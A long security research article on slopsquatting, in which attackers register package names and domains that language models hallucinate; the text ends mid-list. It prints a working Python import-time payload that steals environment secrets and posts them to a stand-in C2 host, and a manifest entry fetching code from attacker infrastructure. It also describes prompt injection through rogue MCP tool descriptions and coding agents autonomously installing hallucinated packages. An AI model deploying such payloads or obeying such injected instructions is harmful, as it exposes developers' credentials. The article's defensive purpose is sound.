What this piece does
For over two decades, the security of the software supply chain has been fundamentally predicated on defending against human fallibility. Historically, adversaries orchestrated supply chain compromises by waiting for an engineer to make a mistake. Typosquatting campaigns relied on a developer's fingers slipping on a keyboard, allowing an attacker to intercept the installation of requests with a malicious package named reqeusts. Dependency confusion attacks exploited internal build tools that were misconfigured by human administrators, tricking package managers into prioritizing public registries over private ones. Brandjacking and visual homograph attacks relied on optical trickery, exploiting human fatigue and haste to bypass visual inspection. In every traditional scenario, the adversary was exploiting the human in the loop.
The widespread integration of generative artificial intelligence (AI) and Large Language Models (LLMs) into the software development life cycle (SDLC) has catalyzed a fundamental inversion of this paradigm. Threat actors are no longer waiting for developers to make typographical errors; they are instead exploiting the deterministic, algorithmic errors produced by the probabilistic systems developers now trust to write their code.
Phantom Squatting (and its software-registry counterpart, Slopsquatting or AI Package Squatting) inverts the traditional attack dynamic:
When an LLM is prompted to generate code for a niche application programming interface (API), an undocumented library, or a multi-step integration, it frequently invents plausible-sounding, syntactically idiomatic package names and domain URLs that simply do not exist. Because these hallucinations are driven by common token sequences and standard API naming conventions, different developers asking similar questions receive the exact same hallucinated recommendations.
This mathematical consistency has birthed an entirely new category of zero-reconnaissance software supply chain compromise: an attacker does not need to compromise an enterprise network, breach a vendor, or phish a maintainer. They merely harvest the statistically probable hallucinations of frontier models, claim the empty namespaces across public registries like PyPI, npm, and crates.io, and wait for unsuspecting developers — or autonomous AI coding agents — to execute pip install or npm install.
This report provides an in-depth technical analysis: the probabilistic mechanics behind package hallucination, the empirical data measuring collision rates across commercial and open-source models, the weaponization lifecycle observed in real-world telemetry, the shift toward import-time execution, the dangerous multiplier introduced by autonomous AI coding agents, and the architectural defensive controls required to mitigate the threat.
The probabilistic mechanics of deterministic hallucination
To understand how adversaries weaponize AI output, one must first deconstruct why large language models confidently generate fictitious software packages and web infrastructure. LLMs do not reference live registries, nor do they execute real-time database queries to verify the existence of a dependency before recommending it to a developer. Instead, they operate entirely on probabilistic token generation based on the statistical distribution of their training data.
Subword tokenization and token probabilities
Modern code generation models employ Byte-Pair Encoding (BPE) or WordPiece tokenization algorithms with vocabularies ranging from 32,000 to 128,000 tokens. During inference, the model learns the statistical distribution of language and code by predicting the next token in a sequence, minimizing cross-entropy loss.
Mathematically, the probability of generating the next token t_i given the preceding context window t_{1:i-1} is governed by the softmax over the model's output logits z_i scaled by the sampling temperature T:
P(t_i | t_1, t_2, ... t_{i-1}) = softmax(z_i / T)
Where z_i = h_{i-1} * W^T, with h_{i-1} representing the hidden state encoding the antecedent context, and W representing the vocabulary projection weight matrix.
When a developer prompts an LLM to generate code for a niche service or an unreleased capability, the exact real-world package name may not exist in the training corpus with sufficient frequency to dominate the probability distribution. However, the model is heavily penalized for ending a code block abruptly or outputting incomplete syntax. To minimize loss, the attention layers select tokens that maximize semantic alignment with the prompt:
"pip" --> "install" --> "acme" --> "-" --> "log" --> "-" --> "client"
Because the model has ingested millions of open-source repositories containing patterns like [service]-client, py-[service], or [service]-sdk, the compound string acme-log-client emerges as the highest-probability completion, even though no such package was ever published on PyPI.
Why deterministic hallucinations occur
A common misconception is that AI hallucinations are random noise. In reality, under standard greedy decoding (T = 0) or low-temperature sampling (T <= 0.2), the model's token selection is virtually deterministic.
When two engineers in different parts of the world prompt the same model with similar technical requirements — such as "How do I connect to the Cloudflare D1 database using Node.js?" — the model traverses the exact same token probability paths:
If the model hallucinates @cloudflare/d1-client for one engineer, it will hallucinate @cloudflare/d1-client for thousands of others asking equivalent questions.
The three primary hallucination drivers
- Semantic Affixing and Heuristic Naming: Software ecosystems follow strong naming idioms. Python libraries append
-client,-python,-sdk, or prependpy-(e.g.,google-cloud-storage,boto3). JavaScript libraries prefix@types/,react-, or suffix-js. When an LLM lacks an exact training sample, it generates the most idiomatic synthetic name possible. - CLI-to-Library Collision and Toolchain Asymmetry: Command-line binary names frequently diverge from their underlying package installation names. When Hugging Face released its official CLI, the tool was bundled inside the Python package
huggingface_hub, but users invoked it viahuggingface-cli. Because LLMs ingested vast markdown docs and shell scripts containinghuggingface-cli, models mapped the shell command directly to package installation:pip install huggingface-cli. - Cross-Language Contamination: Multilingual training datasets cause cross-pollination. A model tasked with a Python script may recall a Go module (
jwt-validator) and generatepy-jwt-validatororjwt-validator-python. Research indicates that approximately 8.7% of Python packages hallucinated by LLMs actually exist as valid packages inside the JavaScript (npm) registry.
Temperature constraints and the "vibe coding" accelerant
Higher temperature settings ($T = 1.0$ to $1.5$), designed to induce creativity, directly increase the rate of fabricated entities. However, no parameter configuration eliminates the vulnerability: even at zero temperature (greedy decoding), models consistently output the exact same hallucinated string if it represents the mathematical peak of probability for that prompt context. Nor does the attack depend on greedy decoding — even at a typical T ≈ 0.7, the top hallucinated name still dominates the output distribution for a given prompt, so an adversary batch-sampling the same prompt a few dozen times and taking the mode recovers the same name a developer would eventually hit. The harvesting pipeline is not constrained to T = 0.
This technical vulnerability is amplified by a socio-technical shift in software engineering: "vibe coding". Developers describe high-level application behavior to an AI assistant and execute the generated code with minimal to no manual inspection. Because the AI-generated code is syntactically flawless and the package names appear semantically natural, human skepticism is bypassed.
Slopsquatting: empirical benchmarking & registry attack vectors
The term "slopsquatting," proposed by Python Software Foundation Developer-in-Residence Seth Larson in April 2025 and popularized by Ecosyste.ms creator Andrew Nesbitt, names the adversarial act of registering non-existent package names that LLMs predictably hallucinate.
The USENIX Security 2025 benchmark: 576,000 samples
The scale of package hallucination was rigorously quantified in the landmark academic study presented at USENIX Security 2025 ("We Have a Package for You! A Comprehensive Analysis of Package Hallucinations by Code Generating LLMs", Spracklen, Wijewickrama, Sakib, Maiti, Viswanath & Jadliwala, arXiv:2406.10279, four authors from UT San Antonio plus one each from the Univ. of Oklahoma and Virginia Tech):
- Dataset Scale: Roughly 19,200 distinct coding prompts per language — split evenly between real developer questions sampled from Stack Overflow and synthetic prompts generated against the top 5,000 packages on each registry — run across 16 code-generation models (Python and JavaScript), producing 576,000 total code samples.
- Overall Hallucination Rate: 19.7% of all generated code samples contained references to at least one package that did not exist in any public registry.
- Total Unique Fabrications: Across those 576,000 samples, researchers logged 205,474 unique fabricated package names.
Model hallucination rates across empirical benchmarks
Empirical benchmarks across academia and industry quantify the prevalence of package hallucinations across model families:
| Model | Hallucination Rate (%) | Primary Attack Surface | Benchmark Source & Methodology |
|---|---|---|---|
| OpenAI GPT-4 Turbo | 3.59% | Specialized SDK wrappers | USENIX Security '25 (Spracklen et al., 576K samples) |
| OpenAI GPT-4o | 5.2% | CLI command confusion | Krishna et al. 2025 (garak vulnerability harness) |
| Anthropic Claude 3.5 Sonnet | 4.6% | Monorepo @scope packages |
Krishna et al. 2025 (garak vulnerability harness) |
| Google Gemini 1.5 Pro | 6.1% | google-cloud-... variants |
Krishna et al. 2025 (garak vulnerability harness) |
| Meta Llama 3 (70B) | 15.4% | Typo variants & conflations | Krishna et al. 2025 (garak vulnerability harness) |
| Meta CodeLlama (34B) | >33.0% | Synthetic module syntax | USENIX Security '25 (Spracklen et al., 576K samples) |
Note on Methodological Variance: These rows come from two different studies on two different model generations and are not directly comparable — the USENIX Security '25 benchmark evaluated 16 code-generation models available during early 2024 across roughly 19,200 prompts per language (576,000 total generated samples), while Krishna et al. (January 2025) used the
garakharness against newer frontier models (GPT-4o, Claude 3.5 Sonnet, Gemini 1.5 Pro) with varying temperature settings ($T = 0.0$ to $0.7$). The safe reading is the shape, not the decimals: commercial frontier models clustered low (roughly 3–6%), open-weight models ran several times higher, and — per the 2026 cohort section below — the spread has since narrowed while the floor held.
The 2026 frontier cohort: the spread narrows, the surface remains
The model rates above predate the current model generation, so the obvious question is whether the newest frontier models have engineered the problem away. A May 2026 replication study by independent researcher Aleksandr Churilov ("The Range Shrinks, the Threat Remains: Re-evaluating LLM Package Hallucinations on the 2026 Frontier-Model Cohort", arXiv:2605.17062 — a single-author preprint, not yet peer-reviewed) re-ran the Spracklen et al. methodology against five code-capable models released between October 2025 and March 2026: Claude Sonnet 4.6, Claude Haiku 4.5, GPT-5.4-mini, Gemini 2.5 Pro, and DeepSeek V3.2. Across 199,845 paired Python and JavaScript prompts validated against PyPI and npm master lists, overall hallucination rates fell in a narrow 4.62% (Claude Haiku 4.5) to 6.10% (GPT-5.4-mini) band.
The finding that matters for a defender is in the study's title. The gap between the best and worst model has collapsed — from the roughly 5% to 22% spread Spracklen measured across the 2024 cohort down to a spread of under two percentage points — but the floor has not moved: even the strongest 2026 model still fabricates a package name in roughly one generation in twenty. And the determinism that makes this weaponizable survived the model upgrade intact. Churilov found 127 hallucinated package names generated by all five models in common, of which 53 were still unregistered as of April 2026 (41 on PyPI, 12 on npm) — a live, pre-computable attack surface sitting in public namespaces. The study reports no evidence that any of those 53 names had yet been registered maliciously or used in an attack, which is the one genuinely reassuring data point here and also the most perishable one.
A second June 2026 study, peer-reviewed and accepted to the 17th International Conference on Internetware, corroborates the two properties an attacker actually relies on — while showing they generalize past Python and JavaScript. Zheng, Guan and Liu's "When LLMs Invent Rust Crates", arXiv:2606.08444 is the first large-scale look at crate hallucination in Rust, a lower-resource ecosystem than PyPI or npm. Across 16,764 generated snippets and 48,494 crate recommendations from six models (GPT-5, Gemini 2.5 Pro, Claude 4 Opus, and three open-weight families), the overall crate hallucination rate was 20.23% — far higher than the ~5% Python/JavaScript floor, which the authors attribute to Rust's smaller training corpus. Two findings matter here. First, decoding parameters again did not move the rate: varying temperature produced "small, inconsistent fluctuations rather than a clear upward trend," with no statistically significant effect (F(4,12)=0.92, p=0.49). Second, 55% of the hallucinated Rust module names were shared across models rather than unique to one — the same cross-model determinism Churilov measured, in a different language. One caveat cuts against a simple "better model, safer" reading: in this low-resource setting the best-to-worst ordering inverted, with Gemini 2.5 Pro lowest at 16.18% and Claude 4 Opus highest at 26.90%. Coding-benchmark strength is not a reliable proxy for dependency grounding, and the gap between the two is widest exactly where training data is thin.
The Pareto frontier: coding optimization vs. dependency grounding
Corroborating research by Krishna et al. ("Importing Phantoms: Measuring LLM Package Hallucination Vulnerabilities", arXiv:2501.19012) utilized the garak LLM vulnerability framework across PyPI, npm, and crates.io.
The study uncovered an inverse correlation between a model's performance on standard coding benchmarks (such as HumanEval) and its package hallucination rate. Models heavily fine-tuned for raw code completion occupy a sparse Pareto optimality boundary: they optimize for syntactically functional logic at the direct expense of secure, grounded dependency resolution.
Deterministic predictability: 43% repeat on 100% of runs
A hallucination is only weaponizable if an adversary can predict it before the victim prompts the model.
When USENIX researchers re-ran identical prompts that had previously triggered a hallucinated package 10 times each (Spracklen et al., Section 4.3): * 43% of hallucinated package names reappeared on every single run (10 out of 10). * 58% reappeared on more than one run. * Overall, 61% of hallucinated names appeared across multiple runs, while only 39% were unique to a single invocation.
This extreme determinism enables an asymmetric attack: adversaries execute automated batch queries against LLM APIs, harvest non-existent package names, verify HTTP 404 status via PyPI/npm index APIs, and pre-register the top-recurrent packages. When a developer asks the model a similar question, the model serves the exact package name the attacker already owns.
Taxonomy of hallucinated dependencies
The USENIX Security 2025 study sorts hallucinated names into three mutually exclusive classes (Spracklen et al., Section 4.2; the three figures sum to 102% in the paper's own rounding):
- Pure Fabrications (~51% of cases): Entirely invented names that leverage semantic affixing to sound legitimate within the prompt context (e.g.,
crypto-validator,auth-helper-pro,google-cloud-spanner-utils). - Conflations (~38% of cases): Merging two real package names into one. For example, combining
jscodeshiftandreact-codemodintoreact-codeshift. Conflations are exceptionally deceptive because both root terms are familiar to developers. - Typo Variants (~13% of cases): Misspellings (
reqeusts,numppy) generated because models ingest erroneous code from forums and uncurated web crawls.
Cross-ecosystem contamination is a separate, cross-cutting measurement rather than a fourth category: roughly 8.7% of the Python package names an LLM hallucinates are real, published packages on npm (and vice versa), so a Python developer who installs a hallucinated dependency can land on a genuine — but entirely unrelated, and potentially hostile — JavaScript package of the same name.
Real-world case studies & supply chain telemetry
Slopsquatting has transitioned from theoretical proof-of-concept into active telemetry:
1. huggingface-cli: 30,000+ authentic installations
In mid-2023, security researcher Bar Lanyado (Vulcan Cyber / Lasso Security) registered the empty huggingface-cli package on PyPI after observing that ChatGPT consistently generated pip install huggingface-cli (reported in Dark Reading).
Over a 90-day tracking period:
* The empty package accumulated over 30,000 authentic downloads.
* Downloads originated continuously from IP blocks of Fortune 500 enterprises, AI research startups, and academic institutions.
* Secondary Documentation Contagion: Developers at major tech firms (including Alibaba's GraphTranslator team) copied the AI-recommended pip install huggingface-cli command directly into public GitHub README.md files. This created a secondary multiplier, driving thousands of human engineers who never used an AI directly to the package.
2. react-codeshift: agentic contagion across 237 repositories
In January 2026, Aikido Security researcher Charlie Eriksen (analysis) discovered an active conflation hallucination: react-codeshift (merging jscodeshift and react-codemod).
The package name originated from a developer using an AI assistant to scaffold 47 "agent skill" files. Because the files were committed without human review, the hallucinated package propagated through GitHub forks to 237 distinct repositories. Autonomous build agents across these repos were executing automated npx install commands daily before Eriksen defensively registered the package.
3. PhantomRaven: Remote Dynamic Dependencies at scale
On October 30, 2025, Koi Security disclosed PhantomRaven, an npm campaign (active since roughly August 2025) of 126 malicious packages that together logged over 86,000 installs before takedown — one of which was unused-imports, an active malicious package impersonating the real eslint-plugin-unused-imports, exactly the kind of long, compound, easy-to-hallucinate name AI coding assistants readily suggest. The package exfiltrated developer credentials to jpd[.]php via an embedded remote access trojan; telemetry after npm quarantined it still showed continued download activity for months, consistent with local AI coding assistants re-suggesting the same hallucinated name to new victims.
What made PhantomRaven durable against standard defenses is the mechanism, not the payload: the campaign is the reference case for Remote Dynamic Dependencies (RDD), an evasion technique where the package's package.json declares a dependency as a raw HTTP URL rather than a registry name —
"dependencies": {
"ui-styles-pkg": "http://packages.storeartifact.com/npm/unused-imports"
}
— so npm install fetches the actual payload from attacker infrastructure at install time, bypassing the registry entirely. The payload is genuinely invisible to registry-side scanning: most Software Composition Analysis (SCA) tools only inspect the tarball stored in the registry, so an RDD-based package presents as having zero declared registry dependencies while still executing arbitrary fetched code on install. The shape, however, is not invisible — a dependencies entry whose value is a raw http(s):// URL instead of a registry version range is a rare, cheap, manifest-level anomaly that a scanner can flag on its own, without ever seeing what the URL returns. Few SCA tools check the dependency-specifier type today; that is a gap in the tooling, not a structural impossibility. Endor Labs documented three further PhantomRaven waves (88 additional packages) between November 2025 and February 2026, confirming this is an active, evolving campaign rather than a one-off incident.
A related but mechanically distinct threat is the Moika campaign, first observed in late May 2026: over 250 npm packages published under inflated version numbers (99.99.99) designed to win npm's default version-resolution race against legitimate private-registry packages — a dependency confusion attack, not an AI-hallucination one. Moika packages harvested full environment variables to oob.moika.tech and, in at least one case, impersonated a Russian bank's payment SDK (SafeDep threat intelligence); it's included here because it shares infrastructure patterns and a discovery window with the AI-hallucination campaigns above, not because an LLM was shown to have suggested the squatted names. In August 2026, the Keyv and Cacheable npm worm demonstrated active self-propagating execution across developer toolchains (tracked in FlagThis Research).
The evolution of execution payloads: import-time evasion
To understand the full threat, defenders must examine how attackers execute code once a package is downloaded:
Evasion via import-time execution
Historically, malicious packages relied on package manager lifecycle hooks:
* Python: setup.py / setuptools.command.install
* Node.js: preinstall and postinstall in package.json
As enterprises adopted --ignore-scripts (npm) and wheel-only installs (pip install --only-binary=:all:) to suppress install-time execution, threat actors evolved their delivery strategy. In the PhantomRaven and Moika campaigns, attackers omitted lifecycle hooks entirely.
This is a distinct evasion layer from the Remote Dynamic Dependencies mechanism described in PhantomRaven above, and the two compound: RDD hides the payload's transport from registry-side SCA scanners (the tarball a scanner inspects never contains the malicious code — it's fetched separately, from a URL, at install time), while import-time execution hides the payload's trigger from host-side install gates (--ignore-scripts blocks lifecycle hooks, but does nothing once the package is already on disk and gets imported). A package can use either technique alone or both together, and a defense tuned for only one misses the other.
Instead, malicious logic is embedded directly within the library's root module (__init__.py or index.js). When the AI coding assistant or autonomous agent generates code, it immediately invokes the library:
# The AI generates and executes this script immediately after installation
import fast_llm_cache # Malicious payload triggers HERE at import time, bypassing install gates
Because AI workflows invariably execute the code they just generated, import-time payloads bypass static install-time restrictions, requiring eBPF runtime process and network monitoring to detect.
# Example of an Import-Time Infiltration Payload (__init__.py)
import os, sys, urllib.request, json
def _exfil():
try:
data = {
"u": os.getenv("USER") or os.getenv("USERNAME"),
"h": os.uname().nodename if hasattr(os, "uname") else "unknown",
"aws": os.path.exists(os.path.expanduser("~/.aws/credentials")),
"env_keys": [k for k in os.environ.keys() if any(s in k.lower() for s in ["key", "token", "secret", "auth"])]
}
req = urllib.request.Request(
"https://telemetry-gateway.c2-infrastructure[.]com/api/v1/telemetry",
data=json.dumps(data).encode("utf-8"),
headers={"Content-Type": "application/json", "User-Agent": "SDK-Bootstrap/2.0"}
)
urllib.request.urlopen(req, timeout=3)
except Exception:
pass
_exfil()
Phantom Squatting on domain infrastructure: Unit 42 research
In June 2024, Palo Alto Networks' Unit 42 research formalized Phantom Squatting on network infrastructure: registering Non-Existent Domains (NXDs) hallucinated by LLMs in configuration templates, authentication guides, and API documentation.
The 2.1 million URL dataset
Unit 42 engineered a multi-agent discovery framework testing 913 global brands across 685,339 queries, generating 2.1 million unique URLs (detailed in Unit 42's analysis):
- Non-Existent Domains (NXDs): 809,455 URLs (38.5%) pointed to non-existent domains.
- Namespace Breakdown: 89.2% involved fictional paths on legitimate domains; 10.8% (87,000+ domains) were entirely fabricated, registerable root namespaces (e.g.,
verify-okta-auth.org,auth-openai.com). - Pre-Weaponized Domains: 13,229 hallucinated domains had already been independently registered by threat actors and flagged in threat intelligence feeds.
- Available Threat Surface: Over 250,000 hallucinated domains remained unregistered and available for immediate adversarial exploitation.
The Adversary Exploitation Window (AEW): empirical observation vs. theoretical minimum
Unit 42 established the Adversary Exploitation Window (AEW): the time elapsed between when an LLM begins consistently generating a fictional domain and when an adversary registers it.
Monitoring across live domains demonstrated an empirical AEW lead time of 18 to 51 days in the wild. However, defenders must not treat this lead time as a permanent buffer: * Current Telemetry: 18 to 51 days reflects the observed latency of opportunistic threat actors conducting manual reconnaissance or sporadic scraping. * Theoretical Minimum: A capable adversary utilizing automated API pipelines can harvest LLM hallucinations and claim unclaimed domain or package namespaces in under 60 seconds after model release or temperature drift.
The "Montana Empire" incident (March 2026)
Unit 42 detected an LLM hallucinating a fictional domain mimicking a national postal service e-commerce portal. Exactly 23 days later, an adversary registered the domain.
Forensic analysis revealed the attacker used an AI coding assistant to build a complete phishing infrastructure: a real-time storefront scraper mirroring the postal portal, a PHP backend for credential harvesting, and a Telegram-based C2 bot for intercepting One-Time Passcodes (OTPs). Because the domain had zero historical reputation, it bypassed corporate secure web gateways.
In another validated case involving a major UAE bank, an AI-hallucinated authentication URL remained persistent in model outputs for 11 months before being weaponized for credential harvesting.
HalluSquatting: the autonomous agent threat multiplier
The integration of autonomous AI coding agents (Devin, Claude Code, Cursor, Windsurf, Copilot, Cline, OpenDevin, Aider) escalates slopsquatting from a passive copy-paste hazard into an unattended, zero-click compromise vector.
The July 2026 HalluSquatting disclosures
In July 2026, researchers Aya Spira, Dr. Ben Nassi, and colleagues (Tel Aviv Univ., Technion, Intuit) formalized this threat as HalluSquatting in their research ("Beware of Agentic Botnets: Scalable Untargeted Promptware Attacks via Universal and Transferable Adversarial HalluSquatting", arXiv:2607.07433): chaining deterministic hallucinations with broad agent shell execution permissions to achieve zero-click Remote Code Execution (RCE).
Testing across Cursor, Windsurf, Copilot, Cline, and Gemini CLI revealed: * 85% Consistency: Agents hallucinated identical repository names when tasked with fetching external modules. * 100% Consistency: Agents hallucinated identical package names when prompted to install "agent skills" and tools.
The recursive failure trap
Unlike a human developer who pauses when an installation fails, autonomous agents operate in a closed Perception-Action Cycle:
- Code Synthesis: The agent writes an implementation file containing an LLM-hallucinated dependency (
fast_llm_cache). - Runtime Execution: The agent executes its test script in the local shell.
- Error Perception: The interpreter raises an exception:
ModuleNotFoundError: No module named 'fast_llm_cache'. - Autonomous Self-Healing: The agent prompts its LLM: "How do I fix ModuleNotFoundError: fast_llm_cache?"
- Hallucinated Command Generation: The LLM deterministically responds: "Run: pip install fast_llm_cache".
- Unattended Execution: In "yolo" or autonomous mode, the agent executes
pip install fast_llm_cachewith ambient shell privileges. - Host Compromise: The squatted package executes at install or import time, exfiltrating cloud secrets (
~/.aws/credentials,GITHUB_TOKEN,OPENAI_API_KEY).
The single point in this loop where it can be broken cheaply is between step 5 and step 6: a check that runs before the agent executes the suggested install. That check has to be deterministic and non-promptable — if it is the same LLM, or a downstream LLM reading the package's code, the malicious package can instruct it to approve itself. A registry-existence and install-hook check (slopwatch check on the proposed dependency, or the equivalent) fails the step closed without ever asking a model for a judgment.
FlagThis has documented related autonomous supply chain dynamics in our reporting on a Texas student's discovery of a rogue AI agent's supply-chain attack attempt and Agentjacking via Prompt Injection.
The agent tool-chain as a delivery target: SANDWORM_MODE
The February 2026 SANDWORM_MODE campaign (Socket, Endor Labs) shows the endpoint this vector is heading toward, without needing a hallucination as the entry point. At least 19 npm packages typosquatting popular utilities and AI-tooling names carried a McpInject module that wrote a rogue Model Context Protocol server into the configuration of Claude Code, Cursor, Windsurf, and Continue. The server registered three benign-sounding tools — index_project, lint_check, scan_dependencies — each of whose tool definitions contained an embedded prompt injection instructing the assistant to locate and exfiltrate SSH keys, AWS credentials, npm tokens, and .env files. The package also self-propagated Shai-Hulud-style through GitHub Actions and exfiltrated over HTTPS, the GitHub API, and DNS tunneling. Two things make this the relevant precedent for a hallucination-delivered version: the malicious instruction lives in a place the agent is designed to trust and act on automatically (a tool description it reads at startup), and the same registry-existence-plus-install-hook check that fails a hallucinated pip install closed would also have flagged these packages at the manifest layer — a days-old typosquat with a postinstall that writes to an MCP config is exactly the born-malicious profile from the detection section above.
Threat modeling & MITRE ATT&CK mapping
| MITRE ATT&CK Technique | ID | Application in Phantom Squatting & Slopsquatting |
|---|---|---|
| Stage Capabilities | T1608 |
Pre-registering the hallucinated package or domain namespace on PyPI, npm, or a registrar ahead of victim demand — the defining move of this attack class, and a Resource Development action, not an intrusion one. |
| Obtain Capabilities: Malware | T1588.001 |
Acquiring or building the install-time / import-time payload staged inside the squatted package. |
| Acquire Infrastructure: Domains | T1583.001 |
Registering an LLM-hallucinated domain for phishing or C2 (the Phantom Squatting domain variant). |
| Supply Chain Compromise: Dependencies | T1195.001 |
The delivery step: a developer or agent installs the pre-registered hallucinated package on PyPI, npm, crates.io, or RubyGems. |
| Command and Scripting Interpreter: Python / JS | T1059.006 |
Executing install hooks (setup.py, postinstall) or import-time initialization code. |
| Unsecured Credentials: Files & Environment | T1552.001 |
Harvesting os.environ, ~/.aws/credentials, and ~/.ssh/id_rsa. |
| Exfiltration Over Web Service | T1567 |
Transmitting harvested tokens via HTTPS POST to attacker C2 gateways. |
| Valid Accounts: Cloud Accounts | T1078.004 |
Utilizing stolen cloud API keys and tokens for secondary infrastructure access. |
Threat actor tradecraft: historical precedents and emerging TTP convergence
To date, no state-sponsored advanced persistent threat (APT) has been formally attributed to an in-the-wild AI slopsquatting campaign.
However, threat actors with established histories of software supply-chain poisoning and developer toolchain targeting are mathematically and strategically positioned to operationalize this vector as an automated, zero-contact distribution pipeline:
Threat actors targeting developer toolchains
- Lazarus Group and Sapphire Sleet (North Korea): The DPRK's primary cyber warfare units pioneered open-source registry poisoning. In campaigns tracked by FlagThis, Sapphire Sleet published Trojanized packages (
debug,chalk,cross-env) to npm and PyPI (detailed in FlagThis's AWS tracking) and targeted developers via Operation Dream Job (FlagThis Intelligence). Slopsquatting provides these actors with an automated, zero-contact evolution of their traditional typosquatting tradecraft. - Kimsuky (North Korea): FlagThis has tracked Kimsuky deploying offline AI models to automate script and malware synthesis (covered in FlagThis tracking), positioning them to operationalize registry squatting against policy think-tanks and defense contractors.
- Sandworm and UNC2452 (Russia): From Sandworm's NotPetya software supply chain attack to UNC2452's SolarWinds Orion build-pipeline compromise, Russian threat actors prioritize developer build environments. Slopsquatting shifts this vector upstream to the AI models generating the code.
- Autonomous Reconnaissance Clusters (UAT-10147): Documented in FlagThis's analysis of UAT-10147 Agentic AI operations and a rogue AI agent's supply-chain intrusion attempt.
Real-world vulnerability anchors (CVEs)
- CVE-2026-76230 (Renovate npm Manager Command Injection): Unsanitized package names passed to automated dependency tools are interpolated directly into shell commands, allowing squatted packages to trigger RCE on CI workers.
- CVE-2026-76227 (Renovate Environment Variable Leakage): Dependency update subprocesses gain unrestricted access to ambient CI/CD credentials without an environment allowlist.
- CVE-2026-57998 (better-npm-audit Command Interpolation): Package auditing utilities execute command injection when evaluating registry parameters.
- CVE-2026-76833 (@cgauge/yaml Arbitrary Code Execution): AI-generated YAML workflow files execute arbitrary JavaScript during parsing via custom constructor tags.
- CVE-2026-77775 (Headroom LLM Proxy Base URL Injection): LLM API gateways vulnerable to header manipulation allow attackers to redirect AI prompts and inject hallucinated package recommendations into coding streams.
Detection engineering: automated Slop-Checking
To detect and quarantine hallucinated packages before they enter build pipelines, security teams can deploy AST-based linters and registry verification engines.
Why this is hard: the false-positive economy
Registering hallucinated names is deterministic and cheap. Detecting them reliably is neither. A scanner that flags "package doesn't resolve and is less than 30 days old" will bury real signal under a flood of legitimate new releases — age and non-resolution are quarantine triggers, not evidence of hallucination or malice. Several failure modes recur, and every production tool has to engineer around them:
- Import name ≠ distribution name.
import yamlisPyYAML,import cv2isopencv-python,import sklearnisscikit-learn. A checker that queries the registry for the import name directly generates false positives at volume. It has to resolve throughimportlib.metadata.packages_distributions()(or a canonical mapping) and excludesys.stdlib_module_namesfirst — the exact failure mode the "Static Analysis Caveat" below the illustrative script calls out. - Security tooling looks exactly like malware to a string scanner. Vulnerability scanners, pentest frameworks, honeypots, and AI-agent security products legitimately contain the credential paths (
~/.aws,~/.ssh,mcp.json), cloud metadata (IMDS) endpoints, and/etc/passwdpayloads they exist to detect. Naive pattern matching cannot tell a lookup table from an implementation. (FlagThis's own detector has hit this: security-scanner packages whose test fixtures and credential regexes read as findings.) - Minified and vendored code defeats proximity heuristics. A single-line 50 KB bundle makes every pattern "adjacent" to every other. Bundled jQuery, transpiler preambles, and generated code account for a large share of naive-scanner false positives.
- Weak signals stack.
eval(), a network call, environment access, base64 decoding, and a brand-ish token are each near-universal in legitimate software. Flat additive scoring lets five weak signals cross the same threshold as one genuinely rare indicator (a live webhook exfil URL, a reverse-shell primitive, a dangerous call at install-time top level). The fix is evidentiary weighting — combine signals by how much each one actually shifts the probability of malice, and require a real sink (an install-time hook, or an exfil destination connected by dataflow to a credential read) before asserting a high-severity verdict. - Hook presence ≠ hook danger. Platform-binary shims (
npm install @scope/pkg-linux-x64, the esbuild/swc/turbo pattern),cp -n *.defaultconfig seeding, and node-version gates are all benignpostinstallscripts. A detector should classify the script body — network fetch, pipe-to-shell,eval, writes to shell profiles / cron / systemd, executable download — not the fact that a lifecycle hook exists.
Two signals cut both false positives and false negatives:
- Capability vs. stated purpose. A "currency formatter" that calls
vm.runInContext, a "logging utility" that reads~/.aws— a mismatch between the package's declared purpose and its actual capability set is one of the more reliable indicators available. - Adoption anomaly. Download velocity far above what a days-old, thin package should have —
huggingface-clilogging 30,000 downloads is exactly this.pypistatsand the npm downloads API make this check free, and it catches slopsquats after registration even when name heuristics missed them.
The corollary for defenders: the highest-precision signal is also the cheapest to check — a declared install hook (setup.py command override, npm preinstall/postinstall) that runs a network fetch, a pipe-to-shell, an eval, or an executable download. Born-malicious slopsquat packages are overwhelmingly caught here, at the manifest layer, before any source-level heuristic runs. Source-level "stealer" verdicts should be reserved for cases where a credential source and a network sink are connected by proximity or a shared variable, in non-minified, reachable code.
The research direction that follows from this is calibrated scoring rather than a binary "hallucinated or not" flag. Hillah et al.'s June 2026 "Bayesian-Calibrated Detection of Hallucinated Package Imports", arXiv:2606.13918 layers a probability estimate on top of a registry-existence check, using PyPI metadata — package age, release cadence, author history, summary text — to flag names that do resolve but look freshly minted for an attack, the class a strict 404 check misses entirely. Evaluated on 1,734 Python snippets across six models with calibration metrics (Expected Calibration Error, Brier score) rather than raw precision/recall, it reproduces the strict-match baseline while adding well-calibrated detections in the suspicious-but-registered middle ground. It is early work on a small dataset, but the direction — a graded confidence signal a proxy can threshold on, not a yes/no verdict — is the right one for the false-positive economy described above.
One more distinction matters for choosing a defense. A born-malicious slopsquat package — days old, thin, an install hook, an adoption spike — is a rare, cheap-to-detect combination, and everything above targets it. A maintainer-takeover attack (event-stream, ua-parser-js, the Shai-Hulud and nx npm compromises) is a different problem: a previously-clean, widely-trusted package where a single release adds a malicious hook. Age, adoption, and naming heuristics all say "safe"; only version-diff detection — comparing what a new release does against the last known-good one — catches it. A hallucination-focused scanner is not a substitute for that.
Existing open-source scanners
This is an active, if still early-stage, tooling space — worth checking before writing your own. Several maintained projects already do multi-registry hallucination scanning:
- dep-hallucinator — CLI covering PyPI, npm, Maven Central, crates.io, and Go Modules; combines registry-existence checks with package-age/download heuristics and ML-based detection of AI-generated naming patterns; outputs CRITICAL/HIGH/MEDIUM/LOW risk scores plus SPDX/CycloneDX SBOMs for CI/CD pipelines.
- slopcheck — CLI covering seven registries (PyPI, npm, crates.io, Go, RubyGems, Maven, Packagist); adds Levenshtein-distance typosquat detection (
--fixsuggests the real package) alongside hallucination checks, with pre-commit hook and GitHub Action integration. - Slop Scan — an npm-focused GitHub Action that scans code and documentation/Markdown (catching a hallucinated
npm installcommand in a README before anyone runs it, the exacthuggingface-clifailure mode this post opens with), runnable vianpx slop-scan .or as CI. - Aikido SafeChain — takes a different approach entirely: an open-source wrapper around
npm/npx/yarn/pnpmthat intercepts install commands in real time, checking each package against Aikido's threat intelligence before the install completes, rather than scanning a file after the fact. - Spracks/PackageHallucination — the actual research code and dataset behind the USENIX Security 2025 benchmark cited throughout this post; useful for reproducing the study or building a custom detector against real hallucination data rather than synthetic test cases.
- slopwatch —
